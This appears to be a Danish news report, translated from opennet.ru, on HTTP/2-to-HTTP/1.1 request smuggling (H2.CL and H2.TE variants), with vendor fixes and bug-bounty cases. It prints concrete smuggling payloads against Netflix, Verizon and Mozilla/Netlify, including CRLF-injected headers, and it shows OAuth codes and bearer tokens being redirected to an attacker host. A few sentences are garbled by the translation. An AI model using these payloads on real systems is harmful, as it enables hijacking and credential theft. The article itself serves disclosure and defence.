Web-systemer, hvor frontenden modtager forbindelser via HTTP/2 og sender dem til backend via HTTP/1.1, er blevet udsat for en ny variant af angrebet "HTTP Request Smuggling", der muliggør indsættelse af ondsindede klientanmodninger i indholdet af anmodninger fra andre brugere, der behandles i samme flow mellem frontenden og backend. Angrebet kan bruges til at indsætte skadelig JavaScript-kode i en session med et legitimt website, omgå adgangsbegrænsningssystemer og opfange autentifikationsparametre.
Problemet påvirker web-proxyer, load balancere, web-acceleratorer, indholdslæsningssystemer og andre konfigurationer, hvor anmodninger omdirigeres i front-end-back-end skema. Forfatteren til undersøgelsen demonstrerede muligheden for angreb på systemer som Netflix, Verizon, Bitbucket, Netlify CDN og Atlassian, og modtog 56.000 dollars i belønningsprogrammer for at identificere sårbarheder. Problematikken er også blevet bekræftet i produkter fra F5 Networks. Delvist påvirker problemet mod_proxy i Apache http-serveren (CVE-2021-33193), og en løsning forventes i version 2.4.49 (udviklerne blev informeret om problemet i starten af maj og fik tre måneder til at rette det). I nginx blev muligheden for samtidig angivelse af overskrifterne "Content-Length" og "Transfer-Encoding" blokeret i den seneste udgave (1.21.1). Værktøjer til at udføre angreb er allerede blevet tilføjet til Burp-værktøjsættet og er tilgængelige som en udvidelse kaldet Turbo Intruder.
Princippet for den nye metode til at trænge ind i anmodninger i trafikken er analogt med en sårbarhed, der blev identificeret af den samme forsker for to år siden, men begrænset til frontender, der modtager anmodninger via HTTP/1.1. Lad os minde om, at i front-end-back-end skemaet modtager frontenden, som er et ekstra Node, anmodninger fra kunder via en langvarig TCP-forbindelse med backend, der udfører den direkte behandling af anmodninger. Gennem denne fælles forbindelse overføres der typisk anmodninger fra forskellige brugere, som følger i rækken efter hinanden med adskillelse gennem HTTP-protokollens midler.
Den klassiske HTTP Request Smuggling-angreb baserede sig på, at frontend- og backend-systemer fortolker brugen af HTTP-overskrifterne "Content-Length" (der angiver den samlede størrelse af dataene i anmodningen) og "Transfer-Encoding: chunked" (der muliggør overførsel af data i bidder) forskelligt. For eksempel, hvis frontenden kun understøtter "Content-Length", men ignorerer "Transfer-Encoding: chunked", så kan en angriber sende en anmodning, hvor både "Content-Length"- og "Transfer-Encoding: chunked"-overskrifterne er angivet, men størrelsen i "Content-Length" ikke svarer til størrelsen af chunked-kæden. I dette tilfælde vil frontenden behandle og omdirigere anmodningen i overensstemmelse med "Content-Length", mens backend vil forvente at afslutte blokken baseret på "Transfer-Encoding: chunked", og den resterende del af angriberens anmodning vil ende i starten af en efterfølgende fremmed anmodning.
I modsætning til den tekstbaserede protokol HTTP/1.1, der behandles på linjeniveau, er HTTP/2 en binær protokol, der manipulerer med blokke af data af foruddefineret størrelse. I HTTP/2 bruges pseudohoveder, der svarer til almindelige HTTP-overskrifter. Når der interageres med backend via HTTP/1.1, oversætter frontenden disse pseudohoveder til tilsvarende HTTP-overskrifter i HTTP/1.1. Problemet er, at backend træffer beslutninger om at bearbejde strømmen baseret på de HTTP-overskrifter, der er angivet af frontenden, uden at have oplysninger om parametrene fra den oprindelige anmodning.
Inklusive i form af pseudohoveder kan værdierne "content-length" og "transfer-encoding" overføres, selvom de ikke bruges i HTTP/2, da størrelsen af alle data defineres i et separat felt. Ikke desto mindre overføres disse overskrifter i processen med at konvertere en HTTP/2-anmodning til HTTP/1.1 og kan vildlede backend. Der er to hovedvarianter af angrebet: H2.TE og H2.CL, hvor backend bliver vildledt af en ukorrekt værdi af transfer-encoding eller content-length, der ikke svarer til den faktiske størrelse af kroppens anmodning, der er nået til frontenden via HTTP/2.

Som et eksempel på H2.CL-angreb angives en forkert størrelse i pseudo-headeren content-length, når en HTTP/2-anmodning sendes til Netflix. Denne anmodning medfører, at en tilsvarende HTTP-header Content-Length tilføjes, når der rettes henvendelse til backend via HTTP/1.1, men da størrelsen i Content-Length er angivet som mindre end den faktiske, vil en del af dataene i slutningen blive behandlet som begyndelsen på den næste anmodning.
For eksempel, HTTP/2-anmodning: method POST path /n authority www.netflix.com content-length 4 abcd GET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Dette vil føre til, at backend modtager en anmodning: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcd GET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Da Content-Length har værdien 4, vil backend kun opfatte 'abcd' som krop af anmodningen, mens den resterende del 'GET /n HTTP/1.1...' behandles som begyndelsen på den efterfølgende anmodning, der er knyttet til en anden bruger. Dette vil resultere i desynkronisering af strømmen, og som svar på den efterfølgende anmodning vil der blive givet et resultat baseret på en falsk anmodning. I tilfælde af Netflix førte angivelsen af en ekstern vært i headeren 'Host:' i den falske anmodning til, at klienten fik svaret 'Location: https://02.rs?x.netflix.com/n' og gjorde det muligt at sende vilkårligt indhold til klienten, herunder at udføre ens eget JavaScript-kode i konteksten af Netflix-webstedet.
Det andet angrebsvariant (H2.TE) handler om indsprøjtning af headeren 'Transfer-Encoding: chunked'. Brug af pseudo-headeren transfer-encoding i HTTP/2 er forbudt af specifikationen, og anmodninger med den skal behandles som ugyldige. På trods af dette tager nogle frontend-implementeringer ikke højde for dette krav og tillader brugen af pseudo-headeren transfer-encoding i HTTP/2, som omformes til en tilsvarende header i HTTP. Ved tilstedeværelse af headeren 'Transfer-Encoding' kan backend opfatte denne som mere prioriteret og udføre opdeling af data i chunks ved hjælp af blokke af forskellig størrelse i formatet '{størrelse}\r\n{blok}\r\n{størrelse}\r\n{blok}\r\n0', på trods af den oprindelige opdeling efter den samlede størrelse.
Eksistensen af en sådan sårbarhed blev demonstreret ved eksempel på Verizon. Problemet vedrørte autentifikationsportalen og originale MODx og giver dig flere værktøjer til at skabe brugerdefinerede hjemmesider og rige webapplikationer., som også anvendes på hjemmesider som Huffington Post og Engadget. For eksempel, klientanmodning via HTTP/2: method POST path /identify/XUI authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Førte til overførsel til backend af HTTP-anmodning 1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Backend'en ignorerede i sin tur "Content-Length" headeren og udførte segmentering i strømmen baseret på "Transfer-Encoding: chunked". I praksis gjorde angrebet det muligt at omdirigere brugerens anmodninger til sin egen side, og dermed opsnappe anmodninger relateret til OAuth-godkendelse, hvis parametre lyste op i Referer-headeren, samt simulere en godkendelsessession og initiere Sending af brugerens legitimationsoplysninger til angriberens vært. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
For at angribe implementeringer af HTTP/2, der ikke tillader angivelse af pseudo-headeren transfer-encoding, blev der foreslået en anden metode forbundet med indsprøjtning af headeren "Transfer-Encoding" ved at vedhæfte den til andre pseudo-headers adskilt med en linjeskifttegn (ved konvertering til HTTP/1.1 skabes der i sådanne tilfælde to separate HTTP-headere).
For eksempel var den nævnte problematik udsat for Atlassian Jira og Netlify CDN (benyttes til at levere Mozilla's startside i Firefox). Især HTTP/2-anmodningen :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
førte til at sende en anmodning til backend som HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
En anden mulighed for at indsprøjte headeren "Transfer-Encoding" var at vedhæfte den til navnet på en anden pseudo-header eller til forespørgselsmetodens streng. For eksempel, ved adgang til Atlassian Jira, førte navnet på pseudo-headeren "foo: bar\r\ntransfer-encoding" med værdien "chunked" til at tilføje HTTP-headere "foo: bar" og "transfer-encoding: chunked", mens angivelsen i pseudo-headeren ":method" med værdien "GET / HTTP/1.1\r\nTransfer-encoding: chunked" blev oversat til "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
Forskeren, der opdagede problemet, foreslog også en tunnelingteknik til at udføre angreb på front-end, hvor hver IP-adresser Deres opretter en separat forbindelse til backenden, og trafikken fra forskellige brugere blandes ikke. Den foreslåede teknik tillader ikke indblanding i andre brugeres forespørgsler, men giver mulighed for at injicere en fælles cache, der påvirker behandlingen af andre forespørgsler, og gør det muligt at udføre substitution af interne HTTP-overskrifter, der bruges til at overføre metadata fra frontenden til backenden (for eksempel kan oplysninger om den aktuelle bruger transmitters til backenden i sådanne overskrifter ved autentificering på frontenden). Som et eksempel på praktisk anvendelse af metoden er kontrol over sider i Bitbucket-tjenesten blevet opnået gennem cache-injektion.
Kilde: opennet.ru
